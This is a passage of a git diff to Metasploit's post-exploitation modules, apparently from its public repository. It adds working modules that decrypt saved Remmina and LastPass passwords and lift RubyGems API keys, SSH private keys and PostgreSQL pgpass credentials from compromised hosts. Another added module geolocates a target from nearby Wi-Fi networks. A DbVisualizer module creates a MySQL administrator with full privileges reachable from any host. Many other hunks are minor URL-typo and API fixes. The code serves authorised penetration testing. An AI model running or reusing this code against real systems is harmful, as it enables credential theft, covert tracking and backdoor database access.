firefox_credentials(loot_path) + credentials = [] + File.readlines(loot_path).each do |line| + if /user_pref\("extensions.lastpass.loginpws", "(?.*)"\);/ =~ line + creds_per_user = encoded_creds.split("|") + creds_per_user.each do |user_creds| + parts = user_creds.split('=') + # Any valid credentials present? + credentials << parts if parts.size > 1 + end + else + next + end + end + + credentials + end + + # Decrypts the password + def clear_text_password(email, encrypted_data) + return if encrypted_data.blank? + + sha256_hex_email = OpenSSL::Digest::SHA256.hexdigest(email) + sha256_binary_email = [sha256_hex_email].pack "H*" # Do hex2bin + + if encrypted_data.include?("|") # Apply CBC + decipher = OpenSSL::Cipher.new("AES-256-CBC") + decipher.decrypt + decipher.key = sha256_binary_email # The key is the emails hashed to SHA256 and converted to binary + decipher.iv = Base64.decode64(encrypted_data[1, 24]) # Discard ! and | + encrypted_password = encrypted_data[26..-1] + else # Apply ECB + decipher = OpenSSL::Cipher.new("AES-256-ECB") + decipher.decrypt + decipher.key = sha256_binary_email + encrypted_password = encrypted_data + end + + begin + decipher.update(Base64.decode64(encrypted_password)) + decipher.final + rescue + print_error "Password for #{email} could not be decrypted" + end + end +end diff --git a/modules/post/multi/gather/multi_command.rb b/modules/post/multi/gather/multi_command.rb index 8f8966ce45..08e9822b86 100644 --- a/modules/post/multi/gather/multi_command.rb +++ b/modules/post/multi/gather/multi_command.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/netrc_creds.rb b/modules/post/multi/gather/netrc_creds.rb index df8008e840..4bd3f3e381 100644 --- a/modules/post/multi/gather/netrc_creds.rb +++ b/modules/post/multi/gather/netrc_creds.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/pgpass_creds.rb b/modules/post/multi/gather/pgpass_creds.rb index 1626252cad..09c3450e84 100644 --- a/modules/post/multi/gather/pgpass_creds.rb +++ b/modules/post/multi/gather/pgpass_creds.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -73,6 +73,8 @@ class Metasploit3 < Msf::Post ) read_file(f).each_line do |entry| + # skip comments + next if entry.lstrip[0,1] == "#" ip, port, db, user, pass = entry.chomp.split(/:/, 5) # Fix for some weirdness that happens with backslashes @@ -97,21 +99,46 @@ class Metasploit3 < Msf::Post end pass = p + + # Display the original before we try to report it, so the user + # sees whatever was actually in the file in case it's weird cred_table << [ip, port, db, user, pass] - cred_hash = { - :host => session.session_host, - :port => port, - :user => user, - :pass => pass, - :ptype => "password", - :sname => "postgres", - :source_type => "Cred", - :duplicate_ok => true, - :active => true + if ip == "*" || ip == "localhost" + ip = session.session_host + else + ip = Rex::Socket.getaddress(ip) + end + + # Use the default postgres port if the file had a wildcard + port = 5432 if port == "*" + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: user, + private_data: pass, + private_type: :password, + realm_value: db, + realm_key: Metasploit::Model::Realm::Key::POSTGRESQL_DATABASE, + workspace_id: myworkspace_id } - report_auth_info(cred_hash) + credential_core = create_credential(credential_data) + + login_data = { + address: ip, + port: port, + protocol: "tcp", + service_name: "postgres", + core: credential_core, + access_level: "User", + status: Metasploit::Model::Login::Status::UNTRIED, + workspace_id: myworkspace_id + } + create_credential_login(login_data) + end if not cred_table.rows.empty? diff --git a/modules/post/multi/gather/pidgin_cred.rb b/modules/post/multi/gather/pidgin_cred.rb index 66bce0a72c..437ea9b73a 100644 --- a/modules/post/multi/gather/pidgin_cred.rb +++ b/modules/post/multi/gather/pidgin_cred.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -307,7 +307,7 @@ class Metasploit3 < Msf::Post def whoami if @platform == :windows - session.fs.file.expand_path("%USERNAME%") + session.sys.config.getenv('USERNAME') else session.shell_command("whoami").chomp end diff --git a/modules/post/multi/gather/ping_sweep.rb b/modules/post/multi/gather/ping_sweep.rb index ba5ee2cbcf..1c76b839a8 100644 --- a/modules/post/multi/gather/ping_sweep.rb +++ b/modules/post/multi/gather/ping_sweep.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/remmina_creds.rb b/modules/post/multi/gather/remmina_creds.rb new file mode 100644 index 0000000000..a7f9b7ff42 --- /dev/null +++ b/modules/post/multi/gather/remmina_creds.rb @@ -0,0 +1,188 @@ +# encoding: binary +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Post + include Msf::Post::File + include Msf::Post::Unix + + def initialize(info = {}) + super(update_info( + info, + 'Name' => 'UNIX Gather Remmina Credentials', + 'Description' => %q( + Post module to obtain credentials saved for RDP and VNC from Remmina's configuration files. + These are encrypted with 3DES using a 256-bit key generated by Remmina which is (by design) + stored in (relatively) plain text in a file that must be properly protected. + ), + 'License' => MSF_LICENSE, + 'Author' => ['Jon Hart '], + 'Platform' => %w(bsd linux osx unix), + 'SessionTypes' => %w(shell meterpreter) + )) + end + + def run + creds = extract_all_creds + creds.uniq! + if creds.empty? + vprint_status('No Reminna credentials collected') + else + vprint_good("Collected #{creds.size} sets of Remmina credentials") + cred_table = Rex::Ui::Text::Table.new( + 'Header' => 'Remmina Credentials', + 'Indent' => 1, + 'Columns' => %w(Host Port Service User Password) + ) + + creds.each do |cred| + cred_table << cred + report_credential(cred[3], cred[4]) + end + + print_line(cred_table.to_s) + end + end + + def decrypt(secret, data) + c = OpenSSL::Cipher::Cipher.new('des3') + key_data = Base64.decode64(secret) + # the key is the first 24 bytes of the secret + c.key = key_data[0, 24] + # the IV is the last 8 bytes of the secret + c.iv = key_data[24, 8] + # passwords less than 16 characters are padded with nulls + c.padding = 0 + c.decrypt + p = c.update(Base64.decode64(data)) + p << c.final + # trim null-padded, < 16 character passwords + p.gsub(/\x00*$/, '') + end + + # Extracts all remmina creds found anywhere on the target + def extract_all_creds + creds = [] + user_dirs = enum_user_directories + if user_dirs.empty? + print_error('No user directories found') + return + end + + vprint_status("Searching for Remmina creds in #{user_dirs.size} user directories") + # walk through each user directory + enum_user_directories.each do |user_dir| + remmina_dir = ::File.join(user_dir, '.remmina') + pref_file = ::File.join(remmina_dir, 'remmina.pref') + next unless file?(pref_file) + + remmina_prefs = get_settings(pref_file) + next if remmina_prefs.empty? + + if (secret = remmina_prefs['secret']) + vprint_status("Extracted secret #{secret} from #{pref_file}") + else + print_error("No Remmina secret key found in #{pref_file}") + next + end + + # look for any \d+\.remmina files which contain the creds + cred_files = dir(remmina_dir).map do |entry| + ::File.join(remmina_dir, entry) if entry =~ /^\d+\.remmina$/ + end + cred_files.compact! + + if cred_files.empty? + vprint_status("No Remmina credential files in #{remmina_dir}") + else + creds |= extract_creds(secret, cred_files) + end + end + + creds + end + + def extract_creds(secret, files) + creds = [] + files.each do |file| + settings = get_settings(file) + next if settings.empty? + + # get protocol, host, user + proto = settings['protocol'] + host = settings['server'] + case proto + when 'RDP' + port = 3389 + user = settings['username'] + when 'VNC' + port = 5900 + domain = settings['domain'] + if domain.blank? + user = settings['username'] + else + user = domain + '\\' + settings['username'] + end + when 'SFTP', 'SSH' + # XXX: in my testing, the box to save SSH passwords was disabled + # so this may never work + user = settings['ssh_username'] + port = 22 + else + print_error("Unsupported protocol: #{proto}") + next + end + + # get the password + encrypted_password = settings['password'] + password = nil + unless encrypted_password.blank? + password = decrypt(secret, encrypted_password) + end + + if host && user && password + creds << [ host, port, proto.downcase, user, password ] + else + missing = [] + missing << 'host' unless host + missing << 'user' unless user + missing << 'password' unless password + vprint_error("No #{missing.join(',')} in #{file}") + end + end + + creds + end + + # Reads key=value pairs from the specified file, returning them as a Hash of key => value + def get_settings(file) + settings = {} + read_file(file).split("\n").each do |line| + if /^\s*(?[^#][^=]+)=(?.*)/ =~ line + settings[setting] = value + end + end + + vprint_error("No settings found in #{file}") if settings.empty? + settings + end + + def report_credential(user, pass) + credential_data = { + workspace_id: myworkspace_id, + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + username: user, + private_data: pass, + private_type: :password + } + + create_credential(credential_data) + end + +end diff --git a/modules/post/multi/gather/resolve_hosts.rb b/modules/post/multi/gather/resolve_hosts.rb index 026f936776..a5ccaa1a6c 100644 --- a/modules/post/multi/gather/resolve_hosts.rb +++ b/modules/post/multi/gather/resolve_hosts.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Post Resolves hostnames to either IPv4 or IPv6 addresses from the perspective of the remote host. }, 'License' => MSF_LICENSE, - 'Author' => [ 'Ben Campbell ' ], + 'Author' => [ 'Ben Campbell' ], 'Platform' => %w{ win python }, 'SessionTypes' => [ 'meterpreter' ] )) diff --git a/modules/post/multi/gather/rubygems_api_key.rb b/modules/post/multi/gather/rubygems_api_key.rb new file mode 100644 index 0000000000..bd732bdbe5 --- /dev/null +++ b/modules/post/multi/gather/rubygems_api_key.rb @@ -0,0 +1,78 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit4 < Msf::Post + + include Msf::Post::File + include Msf::Post::Unix + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Multi Gather RubyGems API Key', + 'Description' => %q{ + This module obtains a user's RubyGems API key from ~/.gem/credentials. + }, + 'Author' => [ + 'Jonathan Claudius ', + 'Brandon Myers ' + ], + 'Platform' => %w{bsd linux osx unix}, + 'SessionTypes' => %w{shell}, + 'License' => MSF_LICENSE + )) + end + + def run + print_status('Finding ~/.gem/credentials') + paths = enum_user_directories.map { |d| d + '/.gem/credentials' } + paths = paths.select { |f| file?(f) } + + if paths.empty? + print_error('No users found with a ~/.gem/credentials file') + return + end + + download_key(paths) + end + + # Ruby gem credentials are pretty standard and can come + # in a few flavors, but the most common are straight yaml + # and json, both of which are colon delimited. I suppose + # you could concievably have more than one, but that'd be + # manually editing, and the first one is probably the best + # one anyway. + def extract_key(path) + data = read_file(path) + keys = data.split(':').select { |k| k =~ /[0-9a-f]{32}/ } + keys.map { |k| k.strip }.first + end + + def download_key(paths) + print_status("Looting #{paths.count} files") + paths.each do |path| + path.chomp! + next if ['.', '..'].include?(path) + + rubygems_api_key = extract_key(path) + next unless rubygems_api_key + + print_good("Found a RubyGems API key: #{rubygems_api_key}") + + loot_path = store_loot( + 'rubygems.apikey', + 'text/plain', + session, + rubygems_api_key, + 'rubygems_api_key.txt', + 'RubyGems API key' + ) + + print_good("RubyGems API key stored in #{loot_path}") + end + end + +end diff --git a/modules/post/multi/gather/run_console_rc_file.rb b/modules/post/multi/gather/run_console_rc_file.rb index d85b19bc7c..771391e748 100644 --- a/modules/post/multi/gather/run_console_rc_file.rb +++ b/modules/post/multi/gather/run_console_rc_file.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/skype_enum.rb b/modules/post/multi/gather/skype_enum.rb index eb73d0180d..b07ccd6090 100644 --- a/modules/post/multi/gather/skype_enum.rb +++ b/modules/post/multi/gather/skype_enum.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/gather/ssh_creds.rb b/modules/post/multi/gather/ssh_creds.rb index 335e8672b4..648eef4ead 100644 --- a/modules/post/multi/gather/ssh_creds.rb +++ b/modules/post/multi/gather/ssh_creds.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -60,29 +60,27 @@ class Metasploit3 < Msf::Post next if [".", ".."].include?(file) data = read_file("#{path}#{sep}#{file}") file = file.split(sep).last - loot_path = store_loot("ssh.#{file}", "text/plain", session, data, - "ssh_#{file}", "OpenSSH #{file} File") - print_good("Downloaded #{path}#{sep}#{file} -> #{loot_path}") - # If the key is encrypted, this will fail and it won't be stored as a - # cred. That's ok because we can't really use encrypted keys anyway. - key = SSHKey.new(data, :passphrase => "") rescue nil - if key and loot_path - print_status("Saving private key #{file} as cred") - cred_hash = { - :host => session.session_host, - :port => 22, - :sname => 'ssh', - :user => user, - :pass => loot_path, - :source_type => "exploit", - :type => 'ssh_key', - :proof => "KEY=#{key.fingerprint}", - :duplicate_ok => true, - :active => true + print_good("Downloaded #{path}#{sep}#{file}") + + begin + key = SSHKey.new(data, :passphrase => "") + + credential_data = { + origin_type: :session, + session_id: session_db_id, + post_reference_name: self.refname, + private_type: :ssh_key, + private_data: key.key_object.to_s, + username: user, + workspace_id: myworkspace_id } - report_auth_info(cred_hash) + + create_credential(credential_data) + rescue OpenSSL::OpenSSLError => e + print_error("Could not load SSH Key: #{e.message}") end + end end diff --git a/modules/post/multi/gather/thunderbird_creds.rb b/modules/post/multi/gather/thunderbird_creds.rb index 07ff62c480..bcda33c4ac 100644 --- a/modules/post/multi/gather/thunderbird_creds.rb +++ b/modules/post/multi/gather/thunderbird_creds.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -50,7 +50,7 @@ class Metasploit3 < Msf::Post base = "/Users/#{user}/Library/Thunderbird/Profiles/" when /win/ if session.type =~ /meterpreter/ - user_profile = session.fs.file.expand_path("%APPDATA%") + user_profile = session.sys.config.getenv('APPDATA') else user_profile = cmd_exec("echo %APPDATA%").strip end diff --git a/modules/post/multi/gather/wlan_geolocate.rb b/modules/post/multi/gather/wlan_geolocate.rb new file mode 100644 index 0000000000..a2e18e5018 --- /dev/null +++ b/modules/post/multi/gather/wlan_geolocate.rb @@ -0,0 +1,223 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'rex' +require 'json' +require 'net/http' + +class Metasploit3 < Msf::Post + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Multiplatform WLAN Enumeration and Geolocation', + 'Description' => %q{ Enumerate wireless networks visible to the target device. + Optionally geolocate the target by gathering local wireless networks and + performing a lookup against Google APIs.}, + 'License' => MSF_LICENSE, + 'Author' => [ 'Tom Sellers '], + 'Platform' => %w{ osx win linux bsd solaris }, + 'SessionTypes' => [ 'meterpreter', 'shell' ], + )) + + register_options( + [ + OptBool.new('GEOLOCATE', [ false, 'Use Google APIs to geolocate Linux, Windows, and OS X targets.', false]) + ], self.class) + + end + + def get_strength(quality) + # Convert the signal quality to signal strength (dbm) to be sent to + # Google. Docs indicate this should subtract 100 instead of the 95 I + # am using here, but in practice 95 seems to be closer. + signal_str = quality.to_i / 2 + signal_str = (signal_str - 95).round + return signal_str + + end + + def parse_wireless_win(listing) + wlan_list = '' + raw_networks = listing.split("\r\n\r\n") + + raw_networks.each { |network| + details = network.match(/^SSID [\d]+ : ([^\r\n]*).*?BSSID 1[\s]+: ([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}).*?Signal[\s]+: ([\d]{1,3})%/m) + if !details.nil? + strength = get_strength(details[3]) + network_data = "&wifi=mac:#{details[2].to_s.upcase}|ssid:#{details[1].to_s}|ss=#{strength.to_i}" + wlan_list << network_data + end + } + + return wlan_list + end + + + def parse_wireless_linux(listing) + wlan_list = '' + raw_networks = listing.split("Cell ") + + raw_networks.each { |network| + details = network.match(/^[\d]{1,4} - Address: ([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}).*?Signal level=([\d-]{1,3}).*?ESSID:"([^"]*)/m) + if !details.nil? + network_data = "&wifi=mac:#{details[1].to_s.upcase}|ssid:#{details[3].to_s}|ss=#{details[2].to_i}" + wlan_list << network_data + end + } + + return wlan_list + end + + def parse_wireless_osx(listing) + wlan_list = '' + raw_networks = listing.split("\n") + + raw_networks.each { |network| + network = network.strip + details = network.match(/^(.*(?!\h\h:))[\s]*([\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2}:[\h]{2})[\s]*([\d-]{1,3})/) + if !details.nil? + network_data = "&wifi=mac:#{details[2].to_s.upcase}|ssid:#{details[1].to_s}|ss=#{details[3].to_i}" + wlan_list << network_data + end + } + + return wlan_list + end + + def perform_geolocation(wlan_list) + + if wlan_list.blank? + print_error("Unable to enumerate wireless networks from the target. Wireless may not be present or enabled.") + return + end + + # Build and send the request to Google + url = "https://maps.googleapis.com/maps/api/browserlocation/json?browser=firefox&sensor=true#{wlan_list}" + uri = URI.parse(URI.encode(url)) + request = Net::HTTP::Get.new(uri.request_uri) + http = Net::HTTP::new(uri.host,uri.port) + http.use_ssl = true + response = http.request(request) + + # Gather the required information from the response + if response && response.code == '200' + results = JSON.parse(response.body) + latitude = results["location"]["lat"] + longitude = results["location"]["lng"] + accuracy = results["accuracy"] + print_status("Google indicates that the target is within #{accuracy} meters of #{latitude},#{longitude}.") + print_status("Google Maps URL: https://maps.google.com/?q=#{latitude},#{longitude}") + else + print_error("Failure connecting to Google for location lookup.") + end + + end + + + # Run Method for when run command is issued + def run + if session.type =~ /shell/ + # Use the shell platform for selecting the command + platform = session.platform + else + # For Meterpreter use the sysinfo OS since java Meterpreter returns java as platform + platform = session.sys.config.sysinfo['OS'] + end + + + case platform + when /win/i + + listing = cmd_exec('netsh wlan show networks mode=bssid') + if listing.nil? + print_error("Unable to generate wireless listing.") + return nil + else + store_loot("host.windows.wlan.networks", "text/plain", session, listing, "wlan_networks.txt", "Available Wireless LAN Networks") + # The wireless output does not lend itself to displaying on screen for this platform. + print_status("Wireless list saved to loot.") + if datastore['GEOLOCATE'] + wlan_list = parse_wireless_win(listing) + perform_geolocation(wlan_list) + return + end + end + + when /osx/i + + listing = cmd_exec('/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s') + if listing.nil? + print_error("Unable to generate wireless listing.") + return nil + else + store_loot("host.osx.wlan.networks", "text/plain", session, listing, "wlan_networks.txt", "Available Wireless LAN Networks") + print_status("Target's wireless networks:\n\n#{listing}\n") + if datastore['GEOLOCATE'] + wlan_list = parse_wireless_osx(listing) + perform_geolocation(wlan_list) + return + end + end + + when /linux/i + + listing = cmd_exec('iwlist scanning') + if listing.nil? + print_error("Unable to generate wireless listing.") + return nil + else + store_loot("host.linux.wlan.networks", "text/plain", session, listing, "wlan_networks.txt", "Available Wireless LAN Networks") + # The wireless output does not lend itself to displaying on screen for this platform. + print_status("Wireless list saved to loot.") + if datastore['GEOLOCATE'] + wlan_list = parse_wireless_linux(listing) + perform_geolocation(wlan_list) + return + end + end + + when /solaris/i + + listing = cmd_exec('dladm scan-wifi') + if listing.blank? + print_error("Unable to generate wireless listing.") + return nil + else + store_loot("host.solaris.wlan.networks", "text/plain", session, listing, "wlan_networks.txt", "Available Wireless LAN Networks") + print_status("Target's wireless networks:\n\n#{listing}\n") + print_error("Geolocation is not supported on this platform.\n\n") if datastore['GEOLOCATE'] + return + end + + when /bsd/i + + interface = cmd_exec("dmesg | grep -i wlan | cut -d ':' -f1 | uniq") + # Printing interface as this platform requires the interface to be specified + # it might not be detected correctly. + print_status("Found wireless interface: #{interface}") + listing = cmd_exec("ifconfig #{interface} scan") + if listing.blank? + print_error("Unable to generate wireless listing.") + return nil + else + store_loot("host.bsd.wlan.networks", "text/plain", session, listing, "wlan_networks.txt", "Available Wireless LAN Networks") + print_status("Target's wireless networks:\n\n#{listing}\n") + print_error("Geolocation is not supported on this platform.\n\n") if datastore['GEOLOCATE'] + return + end + + else + print_error("The target's platform, #{platform}, is not supported at this time.") + return nil + end + + rescue Rex::TimeoutError, Rex::Post::Meterpreter::RequestError + rescue ::Exception => e + print_status("The following Error was encountered: #{e.class} #{e}") + end + + +end diff --git a/modules/post/multi/general/close.rb b/modules/post/multi/general/close.rb index 063e8a0022..443f40d0b0 100644 --- a/modules/post/multi/general/close.rb +++ b/modules/post/multi/general/close.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/general/execute.rb b/modules/post/multi/general/execute.rb index 223d05a545..0318bda57e 100644 --- a/modules/post/multi/general/execute.rb +++ b/modules/post/multi/general/execute.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/multi/manage/dbvis_add_db_admin.rb b/modules/post/multi/manage/dbvis_add_db_admin.rb new file mode 100644 index 0000000000..a361bf1886 --- /dev/null +++ b/modules/post/multi/manage/dbvis_add_db_admin.rb @@ -0,0 +1,245 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/auxiliary/report' + +class Metasploit3 < Msf::Post + + include Msf::Post::File + include Msf::Post::Unix + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Multi Manage DbVisualizer Add Db Admin', + 'Description' => %q{ + Dbvisulaizer offers a command line functionality to execute SQL pre-configured databases + (With GUI). The remote database can be accessed from the command line without the need + to authenticate, which can be abused to create an administrator in the database with the + proper database permissions. Note: This module currently only supports MySQL. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'David Bloom' ], # Twitter: @philophobia78 + 'References' => + [ + ['URL', 'http://youtu.be/0LCLRVHX1vA'] + ], + 'Platform' => %w{ linux win }, + 'SessionTypes' => [ 'meterpreter' ] + )) + + register_options( + [ + OptString.new('DBALIAS', [true,'Use dbvis_enum module to find out databases and aliases', 'localhost']), + OptString.new('DBUSERNAME', [true,'The user you want to add to the remote database', 'msf']), + OptString.new('DBPASSWORD', [true,'User password to set', 'msfRocks']) + ], self.class) + + end + + def run + db_type = exist_and_supported() + unless db_type.blank? + dbvis = find_dbviscmd() + unless dbvis.blank? + sql = get_sql(db_type) + errors = dbvis_query(dbvis,sql) + if errors == true + print_error("No luck today, access is probably denied for configured user !? Try in verbose mode to know what happened. ") + else + print_good("Privileged user created ! Try now to connect with user : #{datastore['DBUSERNAME']} and password : #{datastore['DBPASSWORD']}") + end + end + end + end + + # Check if the alias exist and if database is supported by this script + def exist_and_supported() + case session.platform + when /linux/ + user = session.shell_command("whoami") + print_status("Current user is #{user}") + if (user =~ /root/) + user_base = "/root/" + else + user_base = "/home/#{user}/" + end + dbvis_file = "#{user_base}.dbvis/config70/dbvis.xml" + when /win/ + user_profile = session.sys.config.getenv('USERPROFILE') + dbvis_file = "#{user_profile}\\.dbvis\\config70\\dbvis.xml" + end + + unless file?(dbvis_file) + #File not found, we next try with the old config path + print_status("File not found: #{dbvis_file}") + print_status("This could be an older version of dbvis, trying old path") + case session.platform + when /linux/ + dbvis_file = "#{user_base}.dbvis/config/dbvis.xml" + when /win/ + dbvis_file = "#{user_profile }\\.dbvis\\config\\dbvis.xml" + end + unless file?(dbvis_file) + print_error("File not found: #{dbvis_file}") + return + end + old_version = true + end + + print_status("Reading : #{dbvis_file}" ) + raw_xml = "" + begin + raw_xml = read_file(dbvis_file) + rescue EOFError + # If there's nothing in the file, we hit EOFError + print_error("Nothing read from file: #{dbvis_file}, file may be empty") + return + end + + db_found = false + alias_found = false + db_type = nil + db_type_ok = false + + # fetch config file + raw_xml.each_line do |line| + + if line =~ // + db_found = false + end + + if db_found == true + + # checkthe alias + if (line =~ /([\S+\s+]+)<\/Alias>/i) + if datastore['DBALIAS'] == $1 + alias_found = true + print_good("Alias #{datastore['DBALIAS']} found in dbvis.xml") + end + end + + if (line =~ /([\S+\s+]+)<\/Userid>/i) + if alias_found + print_good("Username for this connection : #{$1}") + end + end + + # check the type + if (line =~ /([\S+\s+]+)<\/Type>/i) + if alias_found + db_type = $1 + db_type_ok = check_db_type(db_type) + if db_type_ok + print_good("Database #{db_type} is supported ") + else + print_error("Database #{db_type} is not supported (yet)") + db_type = nil + end + alias_found = false + end + end + end + end + if db_type.blank? + print_error("Database alias not found in dbvis.xml") + end + return db_type # That is empty if DB is not supported + end + + # Find path to dbviscmd.sh|bat + def find_dbviscmd + case session.platform + when /linux/ + dbvis = session.shell_command("locate dbviscmd.sh").chomp + if dbvis.chomp == "" + print_error("dbviscmd.sh not found") + return nil + else + print_good("Dbviscmd found : #{dbvis}") + end + when /win/ + # Find program files + progfiles_env = session.sys.config.getenvs('ProgramFiles(X86)', 'ProgramFiles') + progfiles_x86 = progfiles_env['ProgramFiles(X86)'] + if not progfiles_x86.blank? and progfiles_x86 !~ /%ProgramFiles\(X86\)%/ + program_files = progfiles_x86 # x64 + else + program_files = progfiles_env['ProgramFiles'] # x86 + end + dirs = [] + session.fs.dir.foreach(program_files) do |d| + dirs << d + end + dbvis_home_dir = nil + #Browse program content to find a possible dbvis home + dirs.each do |d| + if (d =~ /DbVisualizer[\S+\s+]+/i) + dbvis_home_dir=d + end + end + if dbvis_home_dir.blank? + print_error("Dbvis home not found, maybe uninstalled ?") + return nil + end + dbvis = "#{program_files}\\#{dbvis_home_dir}\\dbviscmd.bat" + unless file?(dbvis) + print_error("dbviscmd.bat not found") + return nil + end + print_good("Dbviscmd found : #{dbvis}") + end + return dbvis + end + + # Query execution method + def dbvis_query(dbvis,sql) + error = false + resp = '' + if file?(dbvis) == true + f = session.fs.file.stat(dbvis) + if f.uid == Process.euid or Process.groups.include?f.gid + print_status("Trying to execute evil sql, it can take time ...") + args = "-connection #{datastore['DBALIAS']} -sql \"#{sql}\"" + dbvis = "\"#{dbvis}\"" + cmd = "#{dbvis} #{args}" + resp = cmd_exec(cmd) + vprint_line("") + vprint_status("#{resp}") + if resp =~ /denied|failed/i + error = true + end + else + print_error("User doesn't have enough rights to execute dbviscmd, aborting") + end + else + print_error("#{dbvis} is not a file") + end + return error + end + + # Database dependent part + + # Check if db type is supported by this script + def check_db_type(type) + return type.to_s =~ /mysql/i + end + + # Build proper sql + def get_sql(db_type) + if db_type =~ /mysql/i + sql = "CREATE USER '#{datastore['DBUSERNAME']}'@'localhost' IDENTIFIED BY '#{datastore['DBPASSWORD']}';" + sql << "GRANT ALL PRIVILEGES ON *.* TO '#{datastore['DBUSERNAME']}'@'localhost' WITH GRANT OPTION;" + + sql << "CREATE USER '#{datastore['DBUSERNAME']}'@'%' IDENTIFIED BY '#{datastore['DBPASSWORD']}';" + sql << "GRANT ALL PRIVILEGES ON *.* TO '#{datastore['DBUSERNAME']}'@'%' WITH GRANT OPTION;" + return sql + end + return nil + end + +end diff --git a/modules/post/multi/manage/dbvis_query.rb b/modules/post/multi/manage/dbvis_query.rb new file mode 100644 index 0000000000..ebc9518926 --- /dev/null +++ b/modules/post/multi/manage/dbvis_query.rb @@ -0,0 +1,220 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'msf/core/auxiliary/report' + +class Metasploit3 < Msf::Post + + include Msf::Post::File + include Msf::Post::Unix + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Multi Manage DbVisualizer Query', + 'Description' => %q{ + Dbvisulaizer offers a command line functionality to execute SQL pre-configured databases + (With GUI). The remote database can be accessed from the command line without the need + to authenticate, and this module abuses this functionality to query and will store the + results. + + Please note: backslash quotes and your (stacked or not) queries should + end with a semicolon. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'David Bloom' ], # Twitter: @philophobia78 + 'References' => + [ + ['URL', 'http://youtu.be/0LCLRVHX1vA'] + ], + 'Platform' => %w{ linux win }, + 'SessionTypes' => [ 'meterpreter' ] + )) + register_options( + [ + OptString.new('DBALIAS', [true,'Use dbvis_enum module to find out databases and aliases', 'localhost']), + OptString.new('QUERY', [true,'The query you want to execute on the remote database', '']), + ], self.class) + + end + + def run + db_type = exist_and_supported() + unless db_type.blank? + dbvis = find_dbviscmd() + unless dbvis.blank? + dbvis_query(dbvis,datastore['QUERY']) + end + end + end + + # Check if the alias exist and if database is supported by this script + def exist_and_supported() + case session.platform + when /linux/ + user = session.shell_command("whoami") + print_status("Current user is #{user}") + if (user =~ /root/) + user_base = "/root/" + else + user_base = "/home/#{user}/" + end + dbvis_file = "#{user_base}.dbvis/config70/dbvis.xml" + when /win/ + user_profile = session.sys.config.getenv('USERPROFILE') + dbvis_file = "#{user_profile}\\.dbvis\\config70\\dbvis.xml" + end + + unless file?(dbvis_file) + #File not found, we next try with the old config path + print_status("File not found: #{dbvis_file}") + print_status("This could be an older version of dbvis, trying old path") + case session.platform + when /linux/ + dbvis_file = "#{user_base}.dbvis/config/dbvis.xml" + when /win/ + dbvis_file = "#{user_profile }\\.dbvis\\config\\dbvis.xml" + end + unless file?(dbvis_file) + print_error("File not found: #{dbvis_file}") + return + end + old_version = true + end + + print_status("Reading : #{dbvis_file}" ) + raw_xml = "" + begin + raw_xml = read_file(dbvis_file) + rescue EOFError + # If there's nothing in the file, we hit EOFError + 